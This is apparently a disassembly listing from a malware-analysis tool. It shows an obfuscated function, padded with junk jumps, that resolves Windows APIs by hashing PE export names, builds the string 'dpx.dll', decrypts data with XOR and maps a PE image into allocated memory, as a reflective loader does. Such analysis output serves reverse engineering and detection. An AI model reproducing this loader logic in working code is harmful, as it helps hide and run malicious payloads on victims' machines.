Function at 0x18001b510
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x18001bc43
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x18001b527
jmp 0x18001bc55
call fcn.18001c4f3
mov dword [rsp + 0x84], eax
jmp 0x18001bc67
mov eax, dword [rsp + 0x78]
cmp dword [rsp + 0x38], eax
jae 0x18001b547
jmp 0x18001b99a
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xf8], rax
jmp 0x18001b977
mov rsi, rcx
mov ecx, 0x30
cmp ax, ax
je 0x18001b5d0
movdqu xmmword [rsp + 0x150], xmm0
lea rax, [rsp + 0x180]
cmp al, al
je 0x18001b59a
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rsp + 0x128]
cmp dl, dl
je 0x18001b566
mov edx, eax
mov rcx, qword [rsp + 0x70]
cmp bl, bl
je 0x18001b5aa
lea rcx, [rsp + 0xf8]
mov rdi, rax
cmp cx, cx
je 0x18001b559
call qword [rsp + 0xa0]
mov rax, qword [rsp + 0x70]
cmp bx, bx
je 0x18001b57b
lea r9, [rsp + 0x150]
lea r8, [rsp + 0x180]
jmp 0x18001bbfe
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x30]
cmp al, al
je 0x18001b5e9
lea r9, [rsp + 0x64]
mov r8d, dword [rsp + 0x64]
cmp ah, ah
je 0x18001b58f
mov eax, dword [rax + 0x2c]
mov dword [rsp + 0x20], eax
jmp 0x18001b5bb
mov eax, dword [rsp + 0x3c]
inc eax
jmp 0x18001b7e5
inc eax
mov dword [rsp + 0x38], eax
jmp 0x18001b538
mov ecx, dword [rcx + 0x1c]
mov rdx, qword [rsp + 0x40]
cmp bp, bp
je 0x18001b639
mov rdx, qword [rsp + 0x30]
mov edx, dword [rdx + 8]
cmp al, al
je 0x18001b641
mov r8d, dword [r8 + 0x10]
add rdx, r8
cmp al, al
je 0x18001b658
mov rdx, rcx
mov rax, qword [rsp + 0xc8]
jmp 0x18001b64b
add rdx, rcx
mov rcx, rdx
jmp 0x18001b615
mov r8, qword [rsp + 0x50]
add r8, rdx
jmp 0x18001b665
mov rcx, rax
call fcn.18001c662
jmp 0x18001b92d
mov qword [rsp + 0xc8], rdx
mov r8d, eax
jmp 0x18001b62c
mov rdx, r8
mov r8, qword [rsp + 0x30]
cmp di, di
je 0x18001b621
mov ecx, dword [rsp + 0x8c]
xor ecx, eax
cmp al, al
je 0x18001b6d5
call fcn.18001c662
mov dword [rsp + 0x3c], 0
jmp 0x18001b7e9
mov rdx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0x70]
cmp ah, ah
je 0x18001b67f
mov rdx, qword [rsp + 0x70]
mov byte [rdx + rcx], al
jmp 0x18001b5f2
div dword [rsp + 0x80]
mov eax, edx
jmp 0x18001b6de
xor edx, edx
mov eax, dword [rsp + 0x3c]
jmp 0x18001b6b6
movsxd rax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x70]
jmp 0x18001b6ea
mov eax, ecx
movsxd rcx, dword [rsp + 0x3c]
jmp 0x18001b6a7
mov eax, eax
movzx eax, byte [rsp + rax + 0x160]
jmp 0x18001b672
movzx eax, byte [rcx + rax]
mov dword [rsp + 0x8c], eax
jmp 0x18001b6c1
xor eax, eax
jmp 0x18001b943
mov qword [rsp + 0x40], 0
jmp 0x18001bca1
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0
jne 0x18001b6fe
jmp 0x18001b6f7
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x3c], eax
jae 0x18001b72a
jmp 0x18001b6c9
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x18]
jmp 0x18001b5db
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
jmp 0x18001b77b
add rcx, rax
mov rax, rcx
cmp di, di
je 0x18001b754
mov qword [rsp + 0xd8], rax
mov eax, 8
jmp 0x18001b7a2
add rcx, rax
mov rax, rcx
cmp di, di
je 0x18001b737
movzx eax, word [rcx + rax]
mov word [rsp + 0x60], ax
cmp ch, ch
je 0x18001b7b2
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x68]
cmp si, si
je 0x18001b76e
mov eax, dword [rcx + rax + 0x88]
mov dword [rsp + 0x7c], eax
jmp 0x18001b7ca
mov rcx, qword [rsp + 0x68]
add rcx, rax
jmp 0x18001bcf4
imul rax, rax, 0
mov rcx, qword [rsp + 0xd8]
cmp bh, bh
je 0x18001b788
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x1c]
jmp 0x18001b795
mov eax, dword [rsp + 0x7c]
mov rcx, qword [rsp + 0x68]
jmp 0x18001b763
cmp dword [rsp + 0x7c], 0
jne 0x18001b7bf
xor eax, eax
jmp 0x18001b943
mov eax, dword [rsp + 0x48]
inc eax
jmp 0x18001b950
mov dword [rsp + 0x3c], eax
mov rax, qword [rsp + 0x30]
jmp 0x18001b71f
mov eax, dword [rax + 0x28]
mov dword [rsp + 0x130], eax
cmp al, al
je 0x18001b86b
mov byte [rsp + 0x5e], 0x6c
mov byte [rsp + 0x5f], 0
jmp 0x18001b841
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x40]
jmp 0x18001b852
mov byte [rsp + 0x5a], 0x78
mov byte [rsp + 0x5b], 0x2e
jmp 0x18001b832
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x30]
jmp 0x18001b7f3
mov byte [rsp + 0x5c], 0x64
mov byte [rsp + 0x5d], 0x6c
cmp bx, bx
je 0x18001b801
lea rcx, [rsp + 0x58]
call qword [rsp + 0xd0]
jmp 0x18001bb67
add rcx, rax
mov rax, rcx
cmp di, di
je 0x18001b823
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x68]
jmp 0x18001b749
mov byte [rsp + 0x58], 0x64
mov byte [rsp + 0x59], 0x70
cmp dx, dx
je 0x18001b817
imul rax, rax, 2
mov rax, qword [rsp + rax + 0x138]
jmp 0x18001ba74
mov dword [rsp + 0xa8], 0x726774c
mov dword [rsp + 0xac], 0xe553a458
jmp 0x18001b8c3
movsxd rax, dword [rsp + 0x48]
mov ecx, dword [rsp + rax*4 + 0xa8]
cmp si, si
je 0x18001b8b4
call fcn.18001bfd7
movsxd rcx, dword [rsp + 0x48]
jmp 0x18001b960
mov dword [rsp + 0xb0], 0xc38ae110
mov dword [rsp + 0x48], 0
jmp 0x18001b954
imul rax, rax, 0
mov rax, qword [rsp + rax + 0x138]
jmp 0x18001b8f9
imul rax, rax, 1
mov rax, qword [rsp + rax + 0x138]
jmp 0x18001b90b
mov qword [rsp + 0xd0], rax
mov eax, 8
cmp ax, ax
je 0x18001b8eb
mov qword [rsp + 0xb8], rax
mov eax, 8
jmp 0x18001b87a
add eax, dword [rcx + 0x20]
mov dword [rsp + 0x78], eax
cmp si, si
je 0x18001b88b
mov dword [rsp + 0x38], 0
jmp 0x18001b538
mov eax, dword [rsp + 0x38]
jmp 0x18001b5fd
add rsp, 0x1b8
pop rdi
jmp 0x18001bc1d
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 3
jge 0x18001b96d
jmp 0x18001b8a3
mov qword [rsp + rcx*8 + 0x138], rax
jmp 0x18001b7da
mov eax, 8
jmp 0x18001b8dd
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 8]
jmp 0x18001bb19
mov rax, rcx
mov ecx, 4
cmp sp, sp
je 0x18001b9ea
movsxd rcx, dword [rsp + 0x38]
xor edx, edx
jmp 0x18001b984
movsxd rax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x50]
cmp dh, dh
je 0x18001b9da
mov rdx, qword [rsp + 0x50]
mov byte [rdx + rcx], al
jmp 0x18001b93a
mov eax, ecx
movsxd rcx, dword [rsp + 0x38]
jmp 0x18001b9a8
mov ecx, dword [rsp + 0x88]
xor ecx, eax
jmp 0x18001b9b7
mov rcx, qword [rsp + 0x30]
movzx eax, byte [rcx + rax + 0x2c]
cmp dx, dx
je 0x18001b9c0
movzx eax, byte [rcx + rax]
mov dword [rsp + 0x88], eax
cmp cx, cx
je 0x18001b991
div rcx
mov rax, rdx
jmp 0x18001b9cb
mov r8, qword [rsp + 0x50]
add r8, rdx
cmp ah, ah
je 0x18001b9fe
mov rdx, r8
mov qword [rsp + 0xc0], rdx
jmp 0x18001ba32
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x30]
cmp dx, dx
je 0x18001ba25
mov rdx, qword [rsp + 0x30]
mov edx, dword [rdx + 8]
cmp dx, dx
je 0x18001b9f2
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x40]
cmp dx, dx
je 0x18001ba3a
mov r8d, eax
mov rdx, rcx
jmp 0x18001ba50
add rdx, rcx
mov rcx, rdx
cmp bh, bh
je 0x18001ba18
call fcn.18001c662
mov rax, qword [rsp + 0x30]
jmp 0x18001ba5d
mov rax, qword [rsp + 0xc0]
mov rcx, rax
jmp 0x18001ba44
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x30]
jmp 0x18001b608
mov rdx, qword [rsp + 0x40]
add rdx, rcx
jmp 0x18001ba95
mov qword [rsp + 0xa0], rax
mov eax, dword [rsp + 0x78]
cmp bp, bp
je 0x18001bad2
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rcx + 4]
jmp 0x18001ba6a
mov edx, eax
xor ecx, ecx
jmp 0x18001ba9f
mov rcx, rdx
mov r8d, eax
cmp ch, ch
je 0x18001baaf
call qword [rsp + 0xb8]
mov qword [rsp + 0x50], rax
cmp dl, dl
je 0x18001bab9
mov rdx, rcx
mov rcx, qword [rsp + 0x50]
jmp 0x18001bac3
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 8]
jmp 0x18001ba85
call fcn.18001c662
mov rax, qword [rsp + 0x30]
jmp 0x18001ba0b
mov r9d, 4
mov r8d, 0x3000
cmp cl, cl
je 0x18001ba8f
mov rcx, qword [rsp + 0x50]
add rcx, rax
jmp 0x18001bb2b
mov dword [rsp + 0x120], eax
mov rax, qword [rsp + 0x30]
jmp 0x18001b80d
mov rax, rcx
mov qword [rsp + 0x108], rax
jmp 0x18001bb5d
add rax, rcx
mov qword [rsp + 0x118], rax
cmp dh, dh
je 0x18001bb53
mov dword [rsp + 0x100], eax
mov eax, dword [rsp + 0x100]
cmp ah, ah
je 0x18001bb49
mov rax, rcx
mov ecx, dword [rsp + 0x110]
jmp 0x18001bb0a
mov dword [rsp + 0x110], eax
mov eax, dword [rsp + 0x100]
cmp cl, cl
je 0x18001bae2
mov rcx, qword [rsp + 0x50]
add rcx, rax
jmp 0x18001bafd
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x20]
jmp 0x18001baec
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x10]
jmp 0x18001bb37
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x18001bb7d
jmp 0x18001bb76
xor eax, eax
jmp 0x18001b943
mov rax, qword [rsp + 0x68]
jmp 0x18001b85d
add rcx, rax
mov rax, rcx
jmp 0x18001bb9e
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0x30]
jmp 0x18001bbe1
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp cx, cx
je 0x18001bbcc
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x30]
cmp cx, cx
je 0x18001bbd7
add eax, dword [rcx + 0x10]
mov rcx, qword [rsp + 0x30]
jmp 0x18001b91d
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
cmp bl, bl
je 0x18001bbee
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x30]
jmp 0x18001bbbf
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x40]
cmp sp, sp
je 0x18001bbf6
add rcx, rax
mov rax, rcx
jmp 0x18001bb8f
add rcx, rax
mov rax, rcx
jmp 0x18001bbad
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x40]
cmp dl, dl
je 0x18001bc0f
call qword [rsp + 0xf0]
xor eax, eax
jmp 0x18001b943
mov rcx, qword [rsp + 0x90]
call fcn.18001c40d
jmp 0x18001b515
lea rcx, [rsp + 0x160]
call 0x18001bd2d
jmp 0x18001b70c
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
jmp 0x18001bc95
push rsi
push rdi
cmp al, al
je 0x18001bc78
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x40], rax
jmp 0x18001b527
mov eax, dword [rsp + 0x84]
mov rcx, qword [rsp + 0x40]
jmp 0x18001bb87
sub rsp, 0x1b8
mov edx, 0x19
jmp 0x18001bc31
mov qword [rsp + 0x90], rax
lea rdx, [rsp + 0x40]
jmp 0x18001bc1f
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
jmp 0x18001bc4f
mov qword [rsp + 0x90], 0
lea rax, [fcn.18001c4f3]
jmp 0x18001bc86
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x64], 0
cmp si, si
je 0x18001bcfe
lea r9, [rsp + 0x64]
mov r8d, 4
jmp 0x18001bceb
shl ecx, 2
movsxd rcx, ecx
jmp 0x18001bd20
call qword [rsp + 0xa0]
mov rax, qword [rsp + 0x30]
jmp 0x18001bd0a
mov edx, eax
mov rcx, qword [rsp + 0x70]
jmp 0x18001bcdd
mov rax, rcx
movzx ecx, word [rsp + 0x60]
jmp 0x18001bcd5
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x18]
cmp bl, bl
je 0x18001bcc8
mov eax, dword [rax + 0x18]
mov r8d, eax
jmp 0x18001b696
add rcx, rax
mov rax, rcx
cmp bx, bx
je 0x18001bcb6
mov eax, dword [rax + rcx]
mov rcx, qword [rsp + 0x68]
cmp bp, bp
je 0x18001bd15
jmp 0x18001be32
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
jmp 0x18001bf77
mov dword [rsp + 0x38], 0x3f
mov rax, qword [rsp + 0x30]
jmp 0x18001becb
movzx eax, word [rax + rcx*2]
cmp eax, 0x7f
jg 0x18001bda0
jmp 0x18001be63
mov qword [rsp + 0x30], 0
jmp 0x18001bd32
mov rax, qword [rsp + 0x30]
jmp 0x18001be3d
movsx eax, byte [rax]
cmp eax, 0x22
je 0x18001be05
jmp 0x18001bf23
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x48], rax
jmp 0x18001bd41
cmp eax, 0x20
je 0x18001be05
mov rax, qword [rsp + 0x20]
cmp bp, bp
je 0x18001bdd5
cmp eax, 0x27
jne 0x18001bde2
mov rax, qword [rsp + 0x20]
jmp 0x18001beac
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
jmp 0x18001bdb2
mov rax, qword [rax + 0x78]
mov qword [rsp + 0x40], rax
jmp 0x18001bdc0
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
cmp al, al
je 0x18001be1b
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
jmp 0x18001be4a
inc rax
mov qword [rsp + 0x30], rax
jmp 0x18001bd32
sub rsp, 0x458
mov byte [rsp + 0x28], 0x2f
jmp 0x18001be6f
mov eax, dword [rsp + 0x3c]
dec eax
jmp 0x18001bf84
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
jmp 0x18001beea
mov byte [rsp + 0x29], 0x6b
mov byte [rsp + 0x2a], 0
cmp dl, dl
je 0x18001be7d
mov dword [rsp + 0x3c], 0x400
call fcn.18001c77b
jmp 0x18001be26
cmp qword [rsp + 0x20], 0
jne 0x18001be9d
xor eax, eax
jmp 0x18001bf63
lea rcx, [rsp + 0x28]
call fcn.18001c60f
jmp 0x18001bf30
inc rax
mov qword [rsp + 0x20], rax
jmp 0x18001bf56
mov cl, byte [rsp + 0x38]
mov byte [rsp + rax + 0x50], cl
jmp 0x18001bdce
movsx eax, byte [rax + rcx*2]
mov dword [rsp + 0x38], eax
jmp 0x18001bda8
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x50]
cmp dh, dh
je 0x18001bf14
mov rax, rcx
mov qword [rsp + 0x20], rax
jmp 0x18001bf56
call fcn.18001c4fb
mov qword [rsp + 0x20], rax
jmp 0x18001be8c
mov rax, qword [rsp + 0x20]
movsx eax, byte [rax]
jmp 0x18001be00
mov rcx, qword [rsp + 0x20]
add rcx, rax
jmp 0x18001bf0a
mov rax, qword [rsp + 0x20]
movsx eax, byte [rax]
jmp 0x18001bdf1
add rsp, 0x458
ret
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x50], 0
jmp 0x18001befc
movzx eax, word [rax + rcx*2]
test eax, eax
je 0x18001bf6b
jmp 0x18001be58
cdqe
cmp qword [rsp + 0x30], rax
jae 0x18001bf6b
jmp 0x18001be0f